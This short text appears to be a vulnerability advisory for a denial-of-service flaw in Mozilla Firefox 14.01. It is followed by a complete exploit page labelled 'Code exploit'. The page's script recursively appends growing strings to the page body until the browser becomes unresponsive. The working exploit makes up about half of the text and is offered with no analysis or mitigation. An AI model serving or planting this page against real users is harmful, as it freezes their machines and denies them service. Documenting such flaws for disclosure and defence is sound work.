An attacker can exploit this issue to make the affected computer unresponsive, denying service to legitimate users.
Mozilla Firefox 14.01 is affected; prior versions may also be affected.
Code exploit:
<html> <head> <title></title> </head> <body></body> <script> function e(x) { document.body.innerHTML += x; e(x + 'x'); }; e('x') </script> </html>